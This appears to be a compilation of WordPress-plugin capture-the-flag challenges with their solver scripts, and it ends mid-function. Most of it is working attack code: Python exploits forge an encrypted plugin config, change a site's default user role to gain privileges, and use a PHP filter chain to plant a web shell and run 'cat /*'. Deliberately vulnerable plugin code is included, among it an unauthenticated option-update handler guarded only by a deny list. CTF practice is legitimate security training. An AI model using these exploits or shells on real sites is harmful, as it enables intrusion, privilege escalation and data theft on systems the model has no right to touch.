I like the new Gutemberg editor, so I just installed a plugin with beautiful blocks addons. That's a great plugin that perfectly matches my design needs, I don't think it could cause a security issue, right?

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

• https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/readonly
• https://hackmd.io/@Solderet/AngstromCTF2023#Filestore---Web

Patchstack needed to update their Blog content and asked a freelancer to make a plugin for scheduling their newest advisories. It has not been tested yet can you check it for us?

import httpx
import asyncio
import re
import json
import subprocess

# URL = "http://172.26.119.33:9192/"
URL = "http://52.77.81.199:9192/"
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def wp_login(self, username: str, password: str) -> None:
        return self.c.post("/wp-login.php", data={
            "log": username,
            "pwd": password
        })
    def handle_preview_request(self, post_id):
        return self.c.get("/wp-admin/admin-ajax.php", params={
            "action": "patchstack_scheduler_preview",
            "post_id": post_id
        })
    def patchstack_scheduler_compare(self, api_token):
        return self.c.post("/wp-admin/admin-ajax.php?action=patchstack_scheduler_compare", json={
            "api_token": api_token,
            "encryption_key": True,
            "revision_data": {
                "post_status": "draft",
            }
        })
    def handle_settings_request(self, config):
        return self.c.post("/wp-admin/admin-ajax.php?action=patchstack_scheduler_settings", json={
            "config": config
        })
class API(BaseAPI):
    def encrypt_config(self, config: dict, encryption_key: str) -> str:
        # Call the PHP script to encrypt the config
        result = subprocess.run(
            ['php', 'decrypt.php', 'encrypt', json.dumps(config), encryption_key],
            capture_output=True,
            text=True
        )
        if result.returncode != 0:
            raise Exception("Error encrypting config: " + result.stderr)
        
        return result.stdout.strip()

    def decode_encrypted_config(self, encrypted_config: str) -> dict:
        # Call the PHP script to decrypt the config
        result = subprocess.run(
            ['php', 'decrypt.php', 'decrypt', encrypted_config],
            capture_output=True,
            text=True
        )
        if result.returncode != 0:
            raise Exception("Error decrypting config: " + result.stderr)
        
        return json.loads(result.stdout)

async def main():
    api = API()
    token = ""
    for i in range(100):
        res = await api.handle_preview_request(i)
        if "API Token" in res.text:
            token = re.findall(r"API Token: (.*?)\"", res.text)[0]
            break
    res = await api.patchstack_scheduler_compare(token)
    encrypted_config_b64 = res.json()['data']['encrypted_config']
    
    # Decode the encrypted config using PHP
    decrypted_config = api.decode_encrypted_config(encrypted_config_b64)
    encryption_key = decrypted_config["encryption_key"]

    # Example of encrypting a new config
    new_config = {
        'status': 'publish',
        'permissions': {
            'all': True,
        },
        "flag_access": True
    }
    encrypted_config = api.encrypt_config(new_config, encryption_key)
    print("Encrypted Config:", encrypted_config)

    res = await api.handle_settings_request(encrypted_config)
    print(res.text)

    
    

if __name__ == "__main__":
    asyncio.run(main())

<?php
function encrypt_config($config, $encryption_key) {
    $uuid = substr($encryption_key, 0, 16);
    $encrypted = openssl_encrypt(
        json_encode($config),
        'AES-256-CBC',
        $encryption_key,
        0,
        $uuid
    );

    return base64_encode($uuid . base64_decode($encrypted));
}

function decrypt_config($encrypted_config) {
    $decoded_data = base64_decode($encrypted_config);
    $uuid = substr($decoded_data, 0, 16);
    $encrypted = substr($decoded_data, 16);
    
    $decrypted = openssl_decrypt(
        base64_encode($encrypted),
        'AES-256-CBC',
        $uuid,
        0,
        $uuid
    );

    return json_decode($decrypted, true);
}

if (isset($argv[1]) && isset($argv[2])) {
    $action = $argv[1];
    $data = $argv[2];
    $encryption_key = $argv[3];

    if ($action === 'encrypt') {
        $encrypted_config = encrypt_config(json_decode($data, true), $encryption_key);
        echo $encrypted_config;
    } elseif ($action === 'decrypt') {
        $decrypted_config = decrypt_config($data);
        echo json_encode($decrypted_config);
    }
}
?>

My friend is developing a cool plugin to help me customize my Login page, isn't that nice? So many stuff and options, I'm sure it's 100% safe to use...

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

import httpx
import asyncio, re, random

URL = "http://52.77.81.199:9193/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def wp_login(self, username: str, password: str) -> None:
        return self.c.post("/wp-login.php", data={
            "log": username,
            "pwd": password
        })
    def login_register_user(self, username, email, password):
        return self.c.post("/wp-admin/admin-ajax.php?action=login_register_user", data={
            "username": username,
            "email": email,
            "password": password,
        }) 
    def login_customizer_set_option(self, nonce, option: str, value: str) -> None:
        return self.c.post("/wp-admin/admin-ajax.php?action=login_customizer_set_option", data={
            "option": option,
            "value": value,
            "_wpnonce": nonce
        })
    def patchstack_get_the_flag(self):
        return self.c.get("/wp-admin/admin-ajax.php?action=patchstack_get_the_flag")

class API(BaseAPI):
    async def get_nonce(self):
        res = await self.c.get("/?preview=1")
        return re.findall("_ldAdminNounce = (.*?)\"", res.text)[0]

async def main():
    api = API()
    username = "dimas"
    password = "dimas"
    res = await api.login_register_user(username, "dimas@dimas.com", password)
    print(res.text)
    res = await api.wp_login(username, password)
    nonce = await api.get_nonce()
    res = await api.login_customizer_set_option(nonce, "default_role", "contributor")
    print(res.text)
    randomtxt = random.randbytes(4).hex()
    username = username + randomtxt
    password = password + randomtxt
    api = API()
    res = await api.login_register_user(username, f"dimas{randomtxt}@dimas.com", password)
    print(res.text)
    res = await api.wp_login(username, password)
    res = await api.patchstack_get_the_flag()
    print(res.text)


if __name__ == "__main__":
    asyncio.run(main())

I had someone build me a plugin so I can send out some links with special footers. I'm sure the code is safe, right?

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

it's blocked, nothing to do here.

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

<?php

/**
 *
 * @wordpress-plugin
 * Plugin Name:       Test Plugin
 * Plugin URI:        http://example.com/plugin-name-uri/
 * Description:       This is a short description of what the plugin does. It's displayed in the WordPress admin area.
 * Version:           1.0.0
 * Author:            Patchstack
 * Author URI:        http://example.com/
 * License:           GPL-2.0+
 * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
 * Text Domain:       test-plugin
 * Domain Path:       /languages
 */

// If this file is called directly, abort.

if ( ! defined( 'WPINC' ) ) {
	die;
}

define( 'PLUGIN_NAME_PLUGIN_NAME', 'test-plugin' );
define( 'PLUGIN_NAME_VERSION', '1.0.0' );
define( 'PLUGIN_NAME_URL', plugin_dir_url( __FILE__ ) );
define( 'PLUGIN_NAME_PATH', plugin_dir_path( __FILE__ ) );
define( 'PLUGIN_NAME_BASE_DIR', plugin_dir_path( __FILE__ ) );
define( 'PLUGIN_NAME_BASE_NAME', plugin_basename( __FILE__ ) );

add_action("init", "set");
add_action("rest_api_init", "register_endpoints");

function set(){
    update_option("secretword_is_true", "anything");
}

function register_endpoints(){
    register_rest_route( 'test', '/upload/(?P<somevalue>\w+)', [
        'methods' => WP_Rest_Server::CREATABLE,
        'callback' => 'upload_something',
        'permission_callback' => 'check_request',
    ]);
}

function check_request( $request ) {
    $some_value = trim( strtolower( $request['somevalue'] ) );
    if( empty( $some_value ) ) {
       return false;
    }
 
    if( ! preg_match( '/^secretword_/i', $some_value) ) {
       return false;
    }
 
    if( $some_value == 'secretword_is_true' ) {
       return false;
    }
    return true;
}

function upload_something($request){
    $body = $request->get_json_params();
    $content = $body['content'];
    $name = $body['name'];
    $some_value = trim( strtolower( $request['somevalue'] ) );
    if(!get_option($some_value)){
        echo "blocked";
        exit(); 
    }

    if(strlen($name) > 105){
        echo "blocked.";
        exit();
    }
    
    $write = <<<EOF
        <?php
            exit('ha?');
            // $content

    EOF;

    file_put_contents($name . '.php', $write);
    return rest_ensure_response( "success" );
}

You sneaky ...

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

• https://github.com/synacktiv/php_filter_chain_generator

<?php
/**
 *  Author  David S. Tufts
 *  Company davidscotttufts.com
 *
 *  Date:   05/25/2003
 *  Usage:  <img src="/barcode.php?text=testing" alt="testing" />
 *
 *  @package    Ultimate_Woocommerce_Gift_Card
 */

/*
 For demonstration purposes, get pararameters that are passed in through $_GET or set to the default value. */
 $filepath = isset( $_GET['filepath'] ) ? $_GET['filepath']  : '';
 $text = isset( $_GET['text'] ) ? $_GET['text']  : '0';
 $size = isset( $_GET['size'] ) ? $_GET['size']  : '20';
 $orientation = isset( $_GET['orientation'] ) ? $_GET['orientation']  : 'horizontal';
 $code_type = isset( $_GET['codetype'] ) ? $_GET['codetype']  : 'code128';
 $print = isset( $_GET['print'] ) && ( 'true' == $_GET['print'] )  ? true : false;
 $sizefactor = isset( $_GET['sizefactor'] ) ? $_GET['sizefactor'] : '1';

barcode( $filepath, $text, $size , $orientation , $code_type , $print , $sizefactor );
/**
 * This function call can be copied into your project and can be made from anywhere in your code.
 *
 * @param string  $filepath Filepath.
 * @param string  $text Text.
 * @param string  $size Size.
 * @param string  $orientation Orientation.
 * @param string  $code_type Code Type.
 * @param boolean $print Print.
 * @param integer $size_factor Size factor.
 * @return void
 */
function barcode( $filepath = '', $text = '0', $size = '20', $orientation = 'horizontal', $code_type = 'code128', $print = false, $size_factor = 1 ) {
	$code_string = '';
	// Translate the $text into barcode the correct $code_type.
	if ( in_array( strtolower( $code_type ), array( 'code128', 'code128b' ) ) ) {
		$chksum = 104;
		// Must not change order of array elements as the checksum depends on the array's key to validate final code.
		$code_array = array(
			' ' => '212222',
			'!' => '222122',
			'"' => '222221',
			'#' => '121223',
			'$' => '121322',
			'%' => '131222',
			'&' => '122213',
			"'" => '122312',
			'(' => '132212',
			')' => '221213',
			'*' => '221312',
			'+' => '231212',
			',' => '112232',
			'-' => '122132',
			'.' => '122231',
			'/' => '113222',
			'0' => '123122',
			'1' => '123221',
			'2' => '223211',
			'3' => '221132',
			'4' => '221231',
			'5' => '213212',
			'6' => '223112',
			'7' => '312131',
			'8' => '311222',
			'9' => '321122',
			':' => '321221',
			';' => '312212',
			'<' => '322112',
			'=' => '322211',
			'>' => '212123',
			'?' => '212321',
			'@' => '232121',
			'A' => '111323',
			'B' => '131123',
			'C' => '131321',
			'D' => '112313',
			'E' => '132113',
			'F' => '132311',
			'G' => '211313',
			'H' => '231113',
			'I' => '231311',
			'J' => '112133',
			'K' => '112331',
			'L' => '132131',
			'M' => '113123',
			'N' => '113321',
			'O' => '133121',
			'P' => '313121',
			'Q' => '211331',
			'R' => '231131',
			'S' => '213113',
			'T' => '213311',
			'U' => '213131',
			'V' => '311123',
			'W' => '311321',
			'X' => '331121',
			'Y' => '312113',
			'Z' => '312311',
			'[' => '332111',
			'\\' => '314111',
			']' => '221411',
			'^' => '431111',
			'_' => '111224',
			'\`' => '111422',
			'a' => '121124',
			'b' => '121421',
			'c' => '141122',
			'd' => '141221',
			'e' => '112214',
			'f' => '112412',
			'g' => '122114',
			'h' => '122411',
			'i' => '142112',
			'j' => '142211',
			'k' => '241211',
			'l' => '221114',
			'm' => '413111',
			'n' => '241112',
			'o' => '134111',
			'p' => '111242',
			'q' => '121142',
			'r' => '121241',
			's' => '114212',
			't' => '124112',
			'u' => '124211',
			'v' => '411212',
			'w' => '421112',
			'x' => '421211',
			'y' => '212141',
			'z' => '214121',
			'{' => '412121',
			'|' => '111143',
			'}' => '111341',
			'~' => '131141',
			'DEL' => '114113',
			'FNC 3' => '114311',
			'FNC 2' => '411113',
			'SHIFT' => '411311',
			'CODE C' => '113141',
			'FNC 4' => '114131',
			'CODE A' => '311141',
			'FNC 1' => '411131',
			'Start A' => '211412',
			'Start B' => '211214',
			'Start C' => '211232',
			'Stop' => '2331112',
		);
		$code_keys = array_keys( $code_array );
		$code_values = array_flip( $code_keys );
		$text_length = strlen( $text );
		for ( $x = 1; $x <= $text_length; $x++ ) {
			$active_key = substr( $text, ( $x - 1 ), 1 );
			$code_string .= $code_array[ $active_key ];
			$chksum = ( $chksum + ( $code_values[ $active_key ] * $x ) );
		}
		$code_string .= $code_array[ $code_keys[ ( $chksum - ( intval( $chksum / 103 ) * 103 ) ) ] ];

		$code_string = '211214' . $code_string . '2331112';
	} elseif ( 'code128a' == strtolower( $code_type ) ) {
		$chksum = 103;
		$text = strtoupper( $text ); // Code 128A doesn't support lower case.
		// Must not change order of array elements as the checksum depends on the array's key to validate final code.
		$code_array = array(
			' ' => '212222',
			'!' => '222122',
			'"' => '222221',
			'#' => '121223',
			'$' => '121322',
			'%' => '131222',
			'&' => '122213',
			"'" => '122312',
			'(' => '132212',
			')' => '221213',
			'*' => '221312',
			'+' => '231212',
			',' => '112232',
			'-' => '122132',
			'.' => '122231',
			'/' => '113222',
			'0' => '123122',
			'1' => '123221',
			'2' => '223211',
			'3' => '221132',
			'4' => '221231',
			'5' => '213212',
			'6' => '223112',
			'7' => '312131',
			'8' => '311222',
			'9' => '321122',
			':' => '321221',
			';' => '312212',
			'<' => '322112',
			'=' => '322211',
			'>' => '212123',
			'?' => '212321',
			'@' => '232121',
			'A' => '111323',
			'B' => '131123',
			'C' => '131321',
			'D' => '112313',
			'E' => '132113',
			'F' => '132311',
			'G' => '211313',
			'H' => '231113',
			'I' => '231311',
			'J' => '112133',
			'K' => '112331',
			'L' => '132131',
			'M' => '113123',
			'N' => '113321',
			'O' => '133121',
			'P' => '313121',
			'Q' => '211331',
			'R' => '231131',
			'S' => '213113',
			'T' => '213311',
			'U' => '213131',
			'V' => '311123',
			'W' => '311321',
			'X' => '331121',
			'Y' => '312113',
			'Z' => '312311',
			'[' => '332111',
			'\\' => '314111',
			']' => '221411',
			'^' => '431111',
			'_' => '111224',
			'NUL' => '111422',
			'SOH' => '121124',
			'STX' => '121421',
			'ETX' => '141122',
			'EOT' => '141221',
			'ENQ' => '112214',
			'ACK' => '112412',
			'BEL' => '122114',
			'BS' => '122411',
			'HT' => '142112',
			'LF' => '142211',
			'VT' => '241211',
			'FF' => '221114',
			'CR' => '413111',
			'SO' => '241112',
			'SI' => '134111',
			'DLE' => '111242',
			'DC1' => '121142',
			'DC2' => '121241',
			'DC3' => '114212',
			'DC4' => '124112',
			'NAK' => '124211',
			'SYN' => '411212',
			'ETB' => '421112',
			'CAN' => '421211',
			'EM' => '212141',
			'SUB' => '214121',
			'ESC' => '412121',
			'FS' => '111143',
			'GS' => '111341',
			'RS' => '131141',
			'US' => '114113',
			'FNC 3' => '114311',
			'FNC 2' => '411113',
			'SHIFT' => '411311',
			'CODE C' => '113141',
			'CODE B' => '114131',
			'FNC 4' => '311141',
			'FNC 1' => '411131',
			'Start A' => '211412',
			'Start B' => '211214',
			'Start C' => '211232',
			'Stop' => '2331112',
		);
		$code_keys = array_keys( $code_array );
		$code_values = array_flip( $code_keys );
		$text_length = strlen( $text );
		for ( $x = 1; $x <= $text_length; $x++ ) {
			$active_key = substr( $text, ( $x - 1 ), 1 );
			$code_string .= $code_array[ $active_key ];
			$chksum = ( $chksum + ( $code_values[ $active_key ] * $x ) );
		}
		$code_string .= $code_array[ $code_keys[ ( $chksum - ( intval( $chksum / 103 ) * 103 ) ) ] ];

		$code_string = '211412' . $code_string . '2331112';
	} elseif ( strtolower( $code_type ) == 'code39' ) {
		$code_array = array(
			'0' => '111221211',
			'1' => '211211112',
			'2' => '112211112',
			'3' => '212211111',
			'4' => '111221112',
			'5' => '211221111',
			'6' => '112221111',
			'7' => '111211212',
			'8' => '211211211',
			'9' => '112211211',
			'A' => '211112112',
			'B' => '112112112',
			'C' => '212112111',
			'D' => '111122112',
			'E' => '211122111',
			'F' => '112122111',
			'G' => '111112212',
			'H' => '211112211',
			'I' => '112112211',
			'J' => '111122211',
			'K' => '211111122',
			'L' => '112111122',
			'M' => '212111121',
			'N' => '111121122',
			'O' => '211121121',
			'P' => '112121121',
			'Q' => '111111222',
			'R' => '211111221',
			'S' => '112111221',
			'T' => '111121221',
			'U' => '221111112',
			'V' => '122111112',
			'W' => '222111111',
			'X' => '121121112',
			'Y' => '221121111',
			'Z' => '122121111',
			'-' => '121111212',
			'.' => '221111211',
			' ' => '122111211',
			'$' => '121212111',
			'/' => '121211121',
			'+' => '121112121',
			'%' => '111212121',
			'*' => '121121211',
		);

		// Convert to uppercase.
		$upper_text = strtoupper( $text );

		$upper_text_length = strlen( $upper_text );
		for ( $x = 1; $x <= $upper_text_length; $x++ ) {
			$code_string .= $code_array[ substr( $upper_text, ( $x - 1 ), 1 ) ] . '1';
		}

		$code_string = '1211212111' . $code_string . '121121211';
	} elseif ( strtolower( $code_type ) == 'code25' ) {
		$code_array1 = array( '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' );
		$code_array2 = array( '3-1-1-1-3', '1-3-1-1-3', '3-3-1-1-1', '1-1-3-1-3', '3-1-3-1-1', '1-3-3-1-1', '1-1-1-3-3', '3-1-1-3-1', '1-3-1-3-1', '1-1-3-3-1' );

		$text_length = strlen( $text );
		$count_array1 = count( $code_array1 );
		for ( $x = 1; $x <= $text_length; $x++ ) {
			for ( $y = 0; $y < $count_array1; $y++ ) {
				if ( substr( $text, ( $x - 1 ), 1 ) == $code_array1[ $y ] ) {
					$temp[ $x ] = $code_array2[ $y ];
				}
			}
		}

		$text_length = strlen( $text );
		for ( $x = 1; $x <= $text_length; $x += 2 ) {
			if ( isset( $temp[ $x ] ) && isset( $temp[ ( $x + 1 ) ] ) ) {
				$count_temp1 = count( $temp1 );
				$temp1 = explode( '-', $temp[ $x ] );
				$temp2 = explode( '-', $temp[ ( $x + 1 ) ] );
				for ( $y = 0; $y < $count_temp1; $y++ ) {
					$code_string .= $temp1[ $y ] . $temp2[ $y ];
				}
			}
		}

		$code_string = '1111' . $code_string . '311';
	} elseif ( strtolower( $code_type ) == 'codabar' ) {
		$code_array1 = array( '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '$', ':', '/', '.', '+', 'A', 'B', 'C', 'D' );
		$code_array2 = array( '1111221', '1112112', '2211111', '1121121', '2111121', '1211112', '1211211', '1221111', '2112111', '1111122', '1112211', '1122111', '2111212', '2121112', '2121211', '1121212', '1122121', '1212112', '1112122', '1112221' );

		// Convert to uppercase.
		$upper_text = strtoupper( $text );
		$upper_text_length = strlen( $upper_text );
		for ( $x = 1; $x <= $upper_text_length; $x++ ) {
			$count_array1 = count( $code_array1 );
			for ( $y = 0; $y < $count_array1; $y++ ) {
				if ( substr( $upper_text, ( $x - 1 ), 1 ) == $code_array1[ $y ] ) {
					$code_string .= $code_array2[ $y ] . '1';
				}
			}
		}
		$code_string = '11221211' . $code_string . '1122121';
	}

	// Pad the edges of the barcode.
	$code_length = 20;
	if ( $print ) {
		$text_height = 30;
	} else {
		$text_height = 0;
	}

	$code_string_length = strlen( $code_string );
	for ( $i = 1; $i <= $code_string_length; $i++ ) {
		$code_length = $code_length + (int) ( substr( $code_string, ( $i - 1 ), 1 ) );
	}

	if ( 'horizontal' == strtolower( $orientation ) ) {
		$img_width = $code_length * $size_factor;
		$img_height = $size;
	} else {
		$img_width = $size;
		$img_height = $code_length * $size_factor;
	}

	$image = imagecreate( $img_width, $img_height + $text_height );
	$black = imagecolorallocate( $image, 0, 0, 0 );
	$white = imagecolorallocate( $image, 255, 255, 255 );

	imagefill( $image, 0, 0, $white );
	var_dump($print);
	if ( $print ) {
		imagestring( $image, 5, 31, $img_height, $text, $black );
	}

	$location = 10;
	$code_string_length = strlen( $code_string );
	for ( $position = 1; $position <= $code_string_length; $position++ ) {
		$cur_size = $location + ( substr( $code_string, ( $position - 1 ), 1 ) );
		if ( 'horizontal' == strtolower( $orientation ) ) {
			imagefilledrectangle( $image, $location * $size_factor, 0, $cur_size * $size_factor, $img_height, ( 0 == $position % 2 ? $white : $black ) );
		} else {
			imagefilledrectangle( $image, 0, $location * $size_factor, $img_width, $cur_size * $size_factor, ( 0 == $position % 2 ? $white : $black ) );
		}
		$location = $cur_size;
	}

	// Draw barcode to the screen or save in a file.
	if ( '' == $filepath ) {
		header( 'Content-type: image/png' );
		imagepng( $image );
		imagedestroy( $image );
	} else {
		imagepng( $image, $filepath );
		imagedestroy( $image );
	}
}

import httpx
import asyncio

URL = "http://52.77.81.199:9108/"
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def qrcode(self, filepath: str = '', text: str = '0', size: str = '20', 
               orientation: str = 'horizontal', code_type: str = 'code128', 
               print_option: bool = False, sizefactor: str = '1') -> None:
        return self.c.get("/wp-content/plugins/mwb-point-of-sale-pos-for-woocommerce/package/lib/php-barcode-master/barcode.php", params={
            "filepath": filepath,
            "text": text,
            "size": size,
            "orientation": orientation,
            "codetype": code_type,
            "print": 'true' if print_option else 'false',
            "sizefactor": sizefactor
        })

class API(BaseAPI):
    def shell(self, cmd):
        return self.c.get("/wp-content/uploads/koko-analytics/sss.php", params={"0": cmd})

async def main():
    api = API()
    # python3 filter.py --chain "<?php system(\$_GET[0]);?>"
    x = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/wp-content/uploads/koko-analytics/sss.php"
    res = await api.qrcode(x, "xxx", print_option=False, code_type="code128a", size=1)
    res = await api.shell("cat /*")
    print(res.text)

if __name__ == "__main__":
    asyncio.run(main())

it's all up to you.

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

add_action("wp_ajax_nopriv_uptoyou", "uptoyou");

function uptoyou(){
    $option_name = $_POST["option_name"];
    $nope = array('users_can_register', 'auto_update_core_minor', 'auto_update_core_dev', 'upload_url_path', 'mailserver_pass', 'wp_user_roles', 'template', 'blog_public', 'html_type', 'sticky_posts', 'use_balanceTags', 'page_for_posts', 'permanent-links', 'hack_file', 'multisite', 'comment_max_links', 'mailserver_login', 'use_trackback', 'comments_per_page', 'default_pingback_flag', 'siteurl', 'enable_app', 'large_size_w', 'default_comments_page', 'default_comment_status', 'links', 'moderation_keys', 'sidebars_widgets', 'posts_per_page', 'links_updated_date_format', 'default_role', 'theme', 'advanced_edit', 'image_default_link_type', 'blogname', 'thumbnail_size_w', 'admin_email', 'enable_xmlrpc', 'rss_use_excerpt', 'require_name_email', 'comment_whitelist', 'medium_large_size_h', 'show_comments_cookies_opt_in', 'comment_order', 'use_balancetags', 'close_comments_for_old_posts', 'gzipcompression', 'use_smilies', 'upload_path', 'moderation_notify', 'close_comments_days_old', 'medium_size_w', 'show_on_front', 'reading', 'show_avatars', 'default_post_format', 'site_icon', 'comments_notify', 'adminhash', 'gmt_offset', 'rewrite_rules', 'rss_language', 'thread_comments_depth', 'permalink_structure', 'default_category', 'links_recently_updated_append', 'thread_comments', 'home', 'widget_categories', 'use_linksupdate', 'default_post_edit_rows', 'comment_moderation', 'start_of_week', 'wp_page_for_privacy_policy', 'date_format', 'widget_text', 'active_plugins', 'avatar_default', 'timezone_string', 'auto_update_core_major', 'default_ping_status', 'tag_base', 'media', 'widget_rss', 'general', 'time_format', 'large_size_h', 'others', 'embed_size_w', 'posts_per_rss', 'image_default_size', 'mailserver_url', 'fileupload_maxk', 'page_comments', 'links_recently_updated_time', 'thumbnail_size_h', 'page_on_front', 'uploads_use_yearmonth_folders', 'ping_sites', 'comment_registration', 'thumbnail_crop', 'medium_large_size_w', 'recently_edited', 'image_default_align', 'avatar_rating', 'links_recently_updated_prepend', 'new_admin_email', 'comments', 'embed_size_h', 'default_email_category', 'embed_autourls', 'stylesheet', 'blacklist_keys', 'https_detection_errors', 'medium_size_h', 'category_base', 'blogdescription', 'avatars', 'mailserver_port', 'default_link_category', 'secret', 'writing', 'blog_charset');

    if(!in_array($option_name, $nope)){
        update_option($option_name, wp_json_encode($_POST["option_value"]));
    }

    echo "option updated";
}

/**
	 * Get data for the Focus Page Audit
	 *
	 * @param WP_REST_Request $request
	 */
	public function getData( WP_REST_Request $request ) {

		global $wpdb;
		$response = array();
		SQ_Classes_Helpers_Tools::setHeader( 'json' );

		//get the token from API
		$token = $request->get_param( 'token' );
		if ( $token <> '' ) {
			$token = sanitize_text_field( $token );
		}

		if ( ! $this->token || $this->token <> $token ) {
			exit( wp_json_encode( array( 'error' => esc_html__( "Connection expired. Please try again.", 'squirrly-seo' ) ) ) );
		}

		$select = $request->get_param( 'select' );

		switch ( $select ) {
